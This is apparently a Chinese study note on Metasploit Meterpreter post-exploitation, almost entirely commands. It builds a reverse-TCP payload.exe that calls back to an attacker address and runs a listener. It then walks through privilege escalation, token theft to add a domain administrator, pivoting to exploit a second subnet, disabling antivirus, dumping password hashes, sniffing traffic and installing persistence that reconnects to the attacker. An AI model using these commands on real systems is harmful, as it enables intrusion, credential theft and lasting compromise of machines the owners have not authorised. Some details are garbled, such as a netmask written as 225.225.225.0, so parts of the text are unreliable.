04_Meterpreter
若对mssql进行攻击,先使用mssql_ping模块找到MS SQL服务,并使用mssql_login模块猜解出MS SQL 用户的口令,然后使用mssql_payload模块与MS SQL交互并上传Meterpreter shell,从而实现了对系统的完整入侵过程
权限提升
在windows的目标机下输入命令创建新用户
net user bob password123 /add
创建一个基于Meterpreter的攻击载荷程序 payload.exe,复制到目标机上,并在bob用户账户下运行
#创建Meterpreter攻击载荷时,我们所设置的LHOST和LPORT参数指示了反向shell连接到攻击机地址和端口443。 随后我们调用msfcli接口进行监听并等待连接,当有连接到达的时候,将会开启Meterpreter的shell /home/scripts# msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.118.128 LPORT=443 -f exe -o payload.exe msf > use exploit/multi/handler msf > set PAYLOAD windows/meterpreter/reverse_tcp msf > set LHOST 192.168.118.128 msf > set LPORT 443 msf > exploit #提权 #输入use priv命令来加载priv扩展,然后输入getsystem尝试讲过权限提升,可以输入getuid命令来检查获取的权限等级 meterpreter > use priv meterpreter > getsystem meterpreter > getuid
令牌假冒
#使用ps或者incognito来列举当前运行的应用程序以及运行这些应用的用户账号 meterpreter > ps #使用steal_token命令和PID来盗取域管理员用户的令牌 meterpreter > steal_token 2780 #通过use incognito 命令加载incognito模块,然后通过list_token -u 命令列举出领挂牌 meterpreter > use incognito meterpreter > list_tokens -u #例如显示结果中有METASPLO-CLE1\adminnistrator #则扮演了Administrator令牌并添加了一个新的用户,然后赋予它域管理员的权限,域控制器为192.168.118.210 meterpreter > impersonate_token METASPLOIT\\Administrator meterpreter > add_user omgcompromised p@55word! -h 192.168.118.210
跳板攻击
#从一个子网攻击一个目标系统,然后通过这个系统建立路由去攻击其他机器 攻击机的IP是192.168.1.1/24 中的地址,目标是192.168.39.1/24的网络 #若已取得了某个服务器的访问权限 meterpreter > run get_local_subnets #得到回显,受控系统上的本地子网 Local subnet:192.168.1.0/255.255.255.0 Local subnet:192.168.39.0/255.255.255.0 #将攻击会话放到后台运行 meterpreter > background #在MSF终端中执行添加路由命令,告知系统将远程网络ID(即受控主机的本地网络)通过攻击会话1来进行路由 #也可以使用load auto_add_route命令个自动完成这一操作 msf exploit(handler) > route add 192.168.39.0 225.225.225.0 1 #显示当前活跃的路由设置 msf exploit(handler) > route print #对目标Linux系统进行第二次渗透攻击 msf > use exploit/unix/ftp/vsftpd_234_backdoor msf > set PAYLOAD cmd/unix/interact msf > set RHOST 192.168.39.150 #通过ifconfig命令显示网络信息,再与LHOST与RHOST变量进行对比,可以看到,LHOST参数指定的是攻击机的IP地址 通过已经攻陷的机器建立隧道,来对其进行攻击 msf > ifconfig #以exploit命令执行漏洞利用,如果堆溢出成功,将会得到一个来自linux目标机的反弹终端,与攻击机建立连接 msf > exploit
拓展脚本
#通过"run 脚本名字"的命令,可以在Meterpreter终端中运行扩展脚本 #运行run vnc命令,在远程系统上安装vnc会话,然后可以运行run screen_unlock命令对目标机器上的桌面进行解锁。
这样就能看到目标主机桌面上的VNC创港口 meterpreter > run vnc meterpreter > run screen meterpreter > run screen_unlock
迁移进程
当我们攻击系统时,常常是对诸如Internet Explorer之类的服务进行漏洞利用,如果目标主机关闭了浏览器,Meterpreter会话也会随之被关闭,从而导致与目标系统的连接丢失,因此可以使用迁移进程的后渗透攻击模块,将会话迁移到内存空格键中的其他稳定的,不会被关闭的服务进程中
meterpreter > run post/windows/manage/migrate
关闭杀毒软件
meterpreter > run killav
获取系统密码哈希值
meterpreter > run hashdump
查看目标机上的所有流量
#所有被捕获的包都将以.pcap的文件格式存储下来,并能被Wireshark等攻击解析 meterpreter > run packetrecorder -i 1
获取系统信息
#获取用户名和密码、下载全部注册表、挖掘密码哈希值、收集系统信息以及输出HKCU meterpreter > run scraper
控制持久化
Meterpreter的persistence脚本允许注入Meterpreter代理,以确保系统重启之后Meterpreter还能运行。如果是反弹连接方式,可以设置连接攻击机的时间间隔。如果是绑定方式,可以设置在指定时间绑定开放端口。
#运行persistence脚本让系统开机自启动Meterpreter(-X),50秒(-i 50)重连一次, #使用的端口为443(-p 443),连接的目的IP为192.168.118.128。 #然后用use multi/handler命令进行监听 meterpreter > run persistence -X -i 50 -p 443 -r 192.168.118.128 msf > use multi/handler msf > back msf > use multi/handler msf > set payload windows/meterpreter/reverse_tcp msf > set LPORT 443 msf > set LHOST 192.168.118.128 msf > exploit
将命令行shell升级为Meterpreter
#ctrl + Z 将当前shell放到后台 #输入sessions -l 查看当前活跃的sessions use post/multi/manage/shell_to_meterpreter set session 2 run #再次输入sessions -l查看后台的sessions #多了一个id为3的meterpreter shell,输入sessions -i 3,调用id为3的shell